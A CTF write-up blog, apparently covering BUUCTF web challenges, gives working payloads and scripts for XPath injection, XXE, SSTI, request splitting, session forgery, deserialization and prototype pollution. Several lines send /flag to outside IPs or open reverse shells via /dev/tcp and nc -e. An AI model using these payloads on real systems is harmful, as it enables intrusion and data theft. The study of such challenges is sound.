0%

buu5

[FireshellCTF2020]Caas

这是个c语言编译器,我们随便输入点什么,会出现报错。

然后通过c语言预处理包含flag报错输出flag。

1
#include "/flag"

[NPUCTF2020]ezlogin

抓包看了一下是xml语分,学习了一下陌生的注入手法,XPATH注入

首先盲注有几个根节点

1
' or count(/)=1 or ''='

回显非法操作

再输出

1
' or count(/)=2 or ''='

回显用户名密码错误,

所以可以得到只有一个根节点,我们再盲注出该根节点的长度

1
'or string-length(name(/*[1]))=4 or ''='

得到是长度为4.

还需要爆破具体名称

1
'or substring(name(/*[1]), 1, 1)='a'  or ''='

然后爆破子节点,还有子节点的子节点… 直接上脚本了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import re
import time
s = requests.session()
url ='http://e1d6f23f-0b1e-44bc-a0d1-c9850b9d2570.node4.buuoj.cn:81/index.php'



head ={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')

strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
for j in strs:

r = s.post(url=url)
token = find.findall(r.text)
time.sleep(0.1)
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(i,j,token[0])
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(i,j,token[0])

#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(i,j,token[0])

#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(i,j,token[0])

#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(i,j,token[0])

payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(i,j,token[0])


print(payload_password)
r = s.post(url=url,headers=head,data=payload_password)
print(r.text)


if "非法操作" in r.text:
flag+=j
print(flag)
break

if "用户名或密码错误!" in r.text:
break

print(flag)

存在两组用户名和密码,我们获取第二组的是管理员的。

爆出用户名

adm1n

密码的md5值

cf7414b5bdb2e65ee43083f4ddbc4d9f

解码一下是gtfly123,其实就是第一组的用户名。

成功登录后,有提示base64解码,有file可以传参,通过php伪协议读取文件,但是过滤了php、base64、read,我们通过大小写绕过php和base64,然后删除read,不加read也可以读取文件内容。

1
phP://filter/convert.bAse64-encode/resource=/flag

[网鼎杯 2020 青龙组]filejava

首先我们尝试filename是否存在任意文件下载,输入../报错,报错信息中有WEB-INF,这是java框架中的web应用的安全目录,应该是web.xml文件泄露,我们读取一下。

1
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

有时候耐心还是很重要,穿越了很多层目录。

我们将三个class文件下载,

1
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

然后通过jd-gui反编译获得源码。这里给出重要代码

1
2
3
4
5
6
7
8
9
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}

这是一个excel和xxe结合的漏洞,CVE-2014-3529,是一个比较老的漏洞了。

当文件头为excel-并且结尾为xlsx时会对该文件进行操作,可能存在xxe漏洞。

我们先新建一个excel-1.xlsx文件,再改后缀为zip,解压缩,对文件夹里面的[Content_Types].xml进行修改,修改完后再压缩成zip,改后缀为xlsx。

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.44.128/file.dtd">
%remote;%int;%send;
]>
1
2
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.44.128:9999?p=%file;'>">

再监听端口9999得到flag。

[pasecactf_2019]flask_ssti

本题关键在于如何绕过黑名单,如下划线_通过/x5f十六进制代替;

.通过[]包含绕过;

单引号通过双引号绕过。

绕过后,我们要查找可以执行命令的类。找到os._wrap_close在127.

发现可用类有popen open system

我们读取app.py文件,查看源码

1
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat app*")["read"]()}}

发现源码被删除,还好flag存在config里面了,查看一下config中flag,再将flag解密出来就行了。

或者使用_frozen_importlib_external.FileLoader类,再用get_data方法读取当前fd目录下运行的进程3,即/proc/self/fd/3

1
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}

[GYCTF2020]Node Game

通过查看查看源代码获得方便阅读的代码,审计一下。

这里分析关键路由

1
2
3
/:包含/template目录下的一个pug模板文件来用pug进行渲染,可以通过执行命令。
/file_upload:限制了只能由IP为127.0.0.1进行文件上传,但是MIME是可控的,我们可以上传到任意目录。
/core:通过q参数向内网传内容,获取数据后再返回外网,但是对url存在黑名单,由于nodejs版本在8一下,我们可以通过拆分攻击实现ssrf(伪造服务器端请求)

拆分攻击

贴上大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----x

{}""".replace('\n', '\r\n')

body = """------x
Content-Disposition: form-data; name="file"; filename="hhh.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarysAs7bV3fMHq0JXUt--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('\r\n', '\u010d\u010a') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
+ 'GET' + '\u0120' + '/'

requests.get(
'http://a54d09eb-a570-47c1-9460-bb464c495c6e.node4.buuoj.cn:81/core?q=' + payload)

print(requests.get(
'http://a54d09eb-a570-47c1-9460-bb464c495c6e.node4.buuoj.cn:81/?action=hhh').text)

[SWPU2019]Web3

首先需要伪造一个管理员的身份,看见很像JWT的东西,放到网站上解密,失败,尝试使用之前使用过的脚本flask_session解密,也不行会报错,应该是格式还有一定的区别,使用大佬的脚本可以解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)


if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

解出格式为

1
{'id': b'100', 'is_login': True, 'password': '123', 'username': 'wang'}

这里需要将id修改为1伪造管理员的身份,后面就可以使用以前用的脚本进行加密。

但是还需要拿到SECRET_KEY的值,SECRET_KEY是Flask中的通用密钥,主要在加密算法中作为一个参数,这个值的复杂度影响到数据传输和存储时的复杂度,密钥最好存储在系统变量中。

通常访问不存在的目录时,会出现在请求头中。在响应包中得到base64编码的密钥,解码得到

1
SECRET_KEY:keyqqqwwweee!@#$%^&*

伪造

1
python3 flask_session_cookie_manager3.py encode -s 'keyqqqwwweee!@#$%^&*' -t "{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'wang'}"
1
eyJpZCI6eyIgYiI6Ik1RPT0ifSwiaXNfbG9naW4iOnRydWUsInBhc3N3b3JkIjoiYWRtaW4iLCJ1c2VybmFtZSI6IndhbmcifQ.YRNxzQ.AQESiF0wHowaLvIVUbyvGALc6LM

成功伪造,在路由/showflag中给出flag路径:./flag/flag.jpg

前面也给出了提示,我们可以上传一个软链接压缩包来读取flag。

Linux中的软链接相当于windows中的快捷方式

创建软链接

1
ln -s /proc/self/cwd/flag/flag.jpg link

再进行压缩

1
zip -ry link.zip link

最后上传zip即可读取到flag。

[CSAWQual 2016]i_got_id

比较老的题目了,题目使用perl编写的网页文件(.pl),后端代码

1
2
3
4
5
6
7
if ($cgi->upload('file')) {
my $file = $cgi->param('file');
while (<$file>) {
print "$_";
print "<br />";
}
}

漏洞原理:

1
param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。而对于下面的读文件逻辑来说,如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。这样,我们的利用方法就出现了:在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了。

新加一个ARGV,把filename删除,内容为ARGV,即可通过?拼接参数进行任意文件读取。

[HarekazeCTF2019]Easy Notes

直接想查看flag,发现需要管理员身份,这又是一题伪造身份的题目

我们可以伪造session文件,将user设为sess_

type设置为. 由于..会被过滤,最后就成功伪造session文件

由于php默认的session反序列化为php,其存储方式为

1
键名+竖线+经过serialize函数序列处理的值

我们构造

1
2
|N;admin|b:1;
|N;可以闭合前面的内容,这里我们可以成功伪造admin身份。

由于最后会返回filename,即我们伪造的session文件的后缀名,再将其填入PHPSESSID的值,就能伪造管理员身份,获取flag。

参考大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import re
import requests
URL = 'http://0a3eafd3-4038-4a7e-b360-81c4a2070bc8.node4.buuoj.cn:81/'

while True:
# login as sess_
sess = requests.Session()
sess.post(URL + 'login.php', data={
'user': 'sess_'
})

# make a crafted note
sess.post(URL + 'add.php', data={
'title': '|N;admin|b:1;',
'body': 'hello'
})

# make a fake session
r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']
print(r)

sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]
print(sessid)

# get the flag
r = requests.get(URL + '?page=flag', cookies={
'PHPSESSID': sessid
}).content.decode('utf-8')
flag = re.findall(r'HarekazeCTF\{.+\}', r)

if len(flag) > 0:
print(flag[0])
break

[watevrCTF-2019]Supercalc

超级计算器,这个页面就想到模板注入,但是应该没那么简单。

尝试了很多都不行,我们试一下将0当作除数,发生报错,再通过注释符#后面拼接实现ssti注入,成功执行。

抓包看了session的值,感觉又是伪造管理员身份,我们查看config信息,获得密钥。

1
cded826a1e89925035cc05f0907855f7

通过之前的脚本解密,获取信息,可以发现我们可以借此执行命令,而不是伪造管理员。

1
{'history': [{'code':'2*5'}]}

最后通过os模块中popen方法执行任意命令,写入PHPSESSID中,刷新一下拿到flag。

1
{'history': [{'code':'__import__(\"os\").popen(\"cat flag.txt\").read()'}]}

[极客大挑战 2020]Greatphp

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

看着md5函数和sha1函数,我们想着通过数组绕过,但是现在是在类中,我们需要另寻僻径。

php中的原生类Error和Exception中存在__tostring方法,当类当作字符串处理,就会调用,这里使用Error,Error只适用于PHP7,Exception适用于PHP5和PHP7。

这里的md5和sha1都会触发该方法。

由于小括号被过滤了,所以我们通过文件包含读取flag,但是由于引号被过滤,我们通过取反绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);
$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

最后一个需要注意的是,两个参数需要在同一行,因为__tostring方法返回的数据包包括行数。

[SUCTF 2018]annonymous

1
create_function()函数在创建之后会生成一个函数名为:%00lambda_%d

后面进行一个爆破就可以拿到flag。

1
2
3
4
5
6
7
import requests

for i in range(1,1000):
r=requests.get(url='http://742ecdbe-f78c-45d8-ab5f-eab74021198c.node4.buuoj.cn:81/?func_name=%00lambda_{}'.format(i))
if 'flag' in r.text:
print(r.text)
break

[NESTCTF 2019]Love Math 2

fuzz脚本

1
2
3
4
5
6
7
8
9
10
11
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}

拼接

1
2
3
4
5
mt_rand^23==>_G
tan^15==>ET
$pi=(mt_rand^(2).(3)).(tan^(1).(5)) 即 $pi=_GET
$pi=$$pi 即 $pi=$_GET
$pi{1}($pi{2}) 即$_GET{0}($_GET{1})

执行命令

1
$pi=(mt_rand^(2).(3)).(tan^(1).(5));$pi=$$pi;$pi{1}($pi{2})&1=system&2=tac /flag

[GKCTF 2021]easycms

提示后台密码弱口令

扫后台,发现admin.php

爆破密码为12345

成功登录

对于cms我们还是需要慢慢来查找漏洞滴,

在设计的主题,我们可以自定义默认主题,发现可以执行php源代码,但是需要在服务器创建文件

1
/var/www/html/system/tmp/akiq.txt

在设置中的微信设置中,我们发现存在目录穿越,将原始ID编辑成路径穿越的漏洞,然后再上传二维码图片,我们就成功绕过,执行我们的php代码

1
../../system/tmp/akiq.txt/0

最后回到主题设计执行php代码cat flag。

在绕过创建文件还有一个方法,在设计 组件的素材库可以上传文件,我们先随意上传一个txt文件,再编辑,修改文件名称,也是通过路径穿越,修改为

1
../../../../../system/tmp/akiq

[RCTF 2019]Nextphp

这一看就有点像前几天陈学长给21届新生出的一道新手题目。

查看一下phpinfo信息,PHP Version 7.4.0-dev

看了一下disable_functions,禁用的很多函数。

我们找一下根目录下有没有放着什么东西。

传入:

1
?a=var_dump(scandir('./'));

发现了preload.php文件,我们读取一下

1
?a=show_source('preload.php');

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

应该是个反序列化问题,先看看[Serializable](PHP: rfc:custom_object_serialization)。

这是属于比较新的机制,自定义的序列化,

1
如果一个类同时实现Serializable和\_\_Serialize()/\_\_Unserialize(),则序列化更倾向于新机制,而序列化则使用其中一种,取决于使用的格式是C(Serializable)还是O(Uu unserialize),所以C格式编码的旧的字符仍可以解码,新的字符串则以O格式生成

所以后面生成的序列化是C格式,同时会先执行Serializable接口中的方法,还要删除__serialize()和__unserialize(),不然会优先触发这两个函数

看了PHP版本很新,要怎么绕过禁用函数,需要使用到[FFI扩展](PHP: FFI::cdef - Manual)

1
2
如果FFI.cdef没有第二个参数,会在全局查找,第一个参数所声明的符号。意思就是其在不传入第二个参数时,可以直接调用php代码。所以我们在声明后,即可加入php代码.
方法:实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions

编写EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char *command);' //声明
];

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
}
}

$a = new A();
$b = serialize($a);
echo $b;

由于执行命令没有回显,需要挂VPS会比较麻烦

payload:

1
?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()['ret']->system('curl -d @/flag linux靶机ip:8888');

还有更简单的方法,将文件写入一个文本中:

1
?$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()['ret']->system('cat /flag>/var/www/html/1.txt');

参考:

Nextphp - kar3a - 博客园

RCTF2019Web题解之nextphp | Mochazz’s blog

RCTF 2019]Nextphp_fmyyy1的博客-CSDN博客

EasyBypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];


if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>

其实每个过滤都相当于一种提示,过滤了cat我们可以用tac,这里有个小tip,通过双引号太闭合前面的语句,然后再用双引号闭合后面的,这样中间的语句就可以逃逸出来,不被影响,这个地方其实在前面学sql的时候,单引号引发的问题也出现过类似的。

1
?comm1=";tac /fla*;"

[PASECA2019]honey_shop

又是买东西的,想看看能不能改一下post的值,结果只有提交商品的信息。

看了session的值有问题,用脚本解密一下,里面有钱的信息。

1
{'balance': 1339, 'purchases': []}

直接用JWT修改是不行的,我们要拿到密钥,应该存在任意文件读取的。

点击图片,可以直接下载,抓包看见了get提交的内容,我们尝试读取一下。

1
download?image=../../../etc/passwd

成功读取,找一下环境变量。

1
download?image=../../../proc/self/environ

成功读到密钥,

1
nDGTJfUGrmpf8cy1E3OOR5jbgsTXyeAhlhwvkP2Z

然后使用脚本改造session信息,再买最贵的那个就行了。

1
python3 flask_session_cookie_manager3.py encode -s "nDGTJfUGrmpf8cy1E3OOR5jbgsTXyeAhlhwvkP2Z" -t "{'balance': 1339, 'purchases': []}"

[HITCON 2016]Leaking

又是考察node.js,对于语法还是不大了解,但是也不影响做题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {
VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
res.header("Content-Type", "text/plain");

/* Orange is so kind so he put the flag here. But if you can guess correctly :P */
eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
if (req.query.data && req.query.data.length <= 12) {
var vm = new VM({
timeout: 1000
});
console.log(req.query.data);
res.send("eval ->" + vm.run(req.query.data));
} else {
res.send(fs.readFileSync(__filename).toString());
}
});

app.listen(3000, function() {
console.log("listening on port 3000!");
});

补充一些知识点,这里有个

1
var { VM } = require("vm2");

这是Node.js官方的安全沙箱

1
2
3
4
5
6
VM2原理:基于VM,使用官方VM库构建沙箱环境,然后使用js的proxy技术防止沙箱脚本逃逸。
运行不受信任的JS脚本
沙箱的终端输出信息完全可控
沙箱内可以受限地加载modules
可以安全地向沙箱间传递callback
死循环攻击免疫 while (true) {}

后面就是漏洞利用了,

1
在node.js版本8.0之前,当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。

这样我们就可以通过Buffer来读取内存。

写个脚本读取flag:

1
2
3
4
5
6
7
8
import requests
import time
url="http://76857e14-c099-4f0d-968f-694171d40639.node4.buuoj.cn:81/?data=Buffer(500)"
while 1:
r=requests.get(url)
if 'flag{' in r.text:
print(r.text)
break

[网鼎杯 2020 青龙组]notes

1
2
原型链污染
undefsafe函数小于2.03版本存在漏洞。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

首先看到/status路由存在命令执行,这里我们就可以任意代码执行,只需要污染commands字典,通过commands字典来执行我们的命令。

再来看看怎么进行污染,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

在/edit_note路由接受三个参数,传入之后会写入note_list,commands与note_list都是数组对象的实例,他们的原型类肯定相同,这样就造成了原型链污染。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
x
return this.note_list;
}

所以我们先在/edit_note路由下post提交:

1
id=__proto__.bb&author=curl -F 'flag=@/flag' 172.16.160.103:9999&raw=a

然后在buu内网的靶机网站根目录下写入文件shell.txt

1
bash -i >& /dev/tcp/172.16.160.103/9999 0>&1

最后监听端口9999,然后访问/status,反弹shell。

参考:

漏洞参考链接

[WMCTF2020]Make PHP Great Again

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

源码给的很简单,但是要绕过require_once不能重复包含文件的限制。

这里有个小trick,

1
require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含

payload:

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

还有一种方法,利用session.upload_progress条件竞争将代码写入session文件中,再session清空前去包含session文件,这里不再赘述。

参考:

绕过require_once不能重复包含

session.upload_progress进行文件包含

Make PHP Great Again_peri0d的博客-CSDN博客

[GWCTF 2019]你的名字

有个输入框,感觉就像ssti注入。

但是输入两个{{}}`符合就报错了。 我们尝试绕过`{{}}的ssti语句,需要将数据外带出去。

1
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://174.0.68.175:8080/?i=whoami').read()=='p' %}1{% endif %}

但是输入就出错,测试了一下有过滤。知道一个config被过滤了,我们就可以利用它构造语句绕过,

最终得到payload:

1
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl 172.16.160.103:6666/ -d ls /|base64;') %}1{% endiconfigf %}

[watevrCTF-2019]Pickle Store

—python反序列化漏洞

又是买东西的,不过这次的session是通过python中pickle函数序列化实现的。

我们将其反序列化处理一下,

1
2
3
4
import pickle
from base64 import *
a="gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu"
print(pickle.loads(b64decode(a)))

得到了序列化前的数据。

1
{'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}

然后通过nc执行命令反弹shell。

1
2
3
4
5
6
7
8
9
import base64
import pickle


class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc 174.0.0.223 9999 -e/bin/sh')",))
a = A()
print( base64.b64encode( pickle.dumps(a) ) )

参考:

[watevrCTF-2019]Pickle Store - h3zh1 - 博客园

Python pickle 反序列化实例分析 - 安全客,安全资讯平台

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道